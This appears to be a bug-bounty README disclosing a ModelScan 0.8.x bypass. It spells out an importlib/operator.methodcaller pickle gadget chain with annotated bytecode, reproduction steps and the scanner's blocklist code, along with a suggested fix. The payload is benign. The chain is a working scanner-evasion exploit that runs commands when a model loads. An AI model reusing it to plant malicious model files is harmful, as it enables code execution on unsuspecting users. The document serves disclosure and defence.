File size: 4,051 Bytes
6a147a1
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# ModelScan 0.8.x ACE Bypass — operator.methodcaller + importlib Gadget Chain

## Summary

This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x
(latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.

The `.pkl` and `.joblib` files in this repo execute arbitrary commands at deserialization
time while passing ModelScan's scan as "No issues found."

## Vulnerability

**Affected scanner:** ModelScan 0.8.8
**Affected file types:** .pkl .pickle .joblib .dill .dat .data
**Impact:** Arbitrary Code Execution at model-load time, scanner bypass

ModelScan's `unsafe_globals` blocklist explicitly blocks `operator.attrgetter` with a
comment documenting the operator gadget pattern, but omits `operator.methodcaller`,
which achieves equivalent method invocation on runtime objects. The `importlib` module
is entirely absent from the blocklist.

## Gadget Chain

```
importlib.import_module("os")        <- not in ModelScan blocklist
operator.methodcaller("system", CMD) <- not in ModelScan blocklist
                                        (only attrgetter is blocked)
```

Execution:
```
operator.methodcaller("system", CMD)(importlib.import_module("os"))
= os.system(CMD)
```

## Globals extracted by ModelScan

```python
{('importlib', 'import_module'), ('operator', 'methodcaller')}
```

Neither is in `unsafe_globals`. ModelScan reports CLEAN.

## Reproduction

### Requirements

```
pip install modelscan joblib
```

### Step 1 - Verify execution

```python
import pickle

with open("poc_modelscan_bypass.pkl", "rb") as f:
    data = f.read()

# This executes os.system("id > /tmp/ml_pwned") immediately
pickle.loads(data)

import os
assert os.path.exists("/tmp/ml_pwned")
print("ACE confirmed:", open("/tmp/ml_pwned").read())
```

### Step 2 - Verify ModelScan bypass

```
modelscan -p poc_modelscan_bypass.pkl
```

Expected output:
```
No issues found!
```

### Step 3 - Verify joblib.load() also triggers

```python
import joblib
joblib.load("poc_modelscan_bypass.joblib")
# Same RCE fires
```

## Pickle Bytecode (protocol 4)

```
PROTO      4
FRAME      107
SHORT_BINUNICODE 'importlib'    MEMOIZE (as 0)
SHORT_BINUNICODE 'import_module' MEMOIZE (as 1)
STACK_GLOBAL                    MEMOIZE (as 2)   <- importlib.import_module
SHORT_BINUNICODE 'os'           MEMOIZE (as 3)
TUPLE1                          MEMOIZE (as 4)
REDUCE                          MEMOIZE (as 5)   <- os module
POP
SHORT_BINUNICODE 'operator'     MEMOIZE (as 6)
SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7)
STACK_GLOBAL                    MEMOIZE (as 8)   <- operator.methodcaller
SHORT_BINUNICODE 'system'       MEMOIZE (as 9)
SHORT_BINUNICODE 'id > ...'     MEMOIZE (as 10)
TUPLE2                          MEMOIZE (as 11)
REDUCE                          MEMOIZE (as 12)  <- methodcaller("system", cmd)
BINGET     5                                     <- retrieve os module
TUPLE1
REDUCE                                           <- os.system(cmd) -> RCE
STOP
```

## Root Cause

`modelscan/settings.py` line in `unsafe_globals`:

```python
# Current (vulnerable)
"operator": [
    "attrgetter",  # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],
```

The developer documented the operator gadget pattern but only blocked `attrgetter`.
`methodcaller` achieves the same result through method dispatch on runtime objects.

## Fix

```python
# Fixed
"operator": ["attrgetter", "methodcaller", "itemgetter"],
"importlib": "*",
```

## Files

| File | Description |
|------|-------------|
| poc_modelscan_bypass.pkl | Malicious pickle — passes ModelScan, executes os.system() |
| poc_modelscan_bypass.joblib | Same payload, .joblib extension |
| poc_modelscan_bypass.py | Python script that generates and verifies the PoC |

## Ethical Use

This PoC uses a benign indicator (`id > /tmp/ml_pwned`) to demonstrate code execution.
It is submitted exclusively through the official Protect AI / huntr.com bug bounty program.
Do not use against systems you do not own.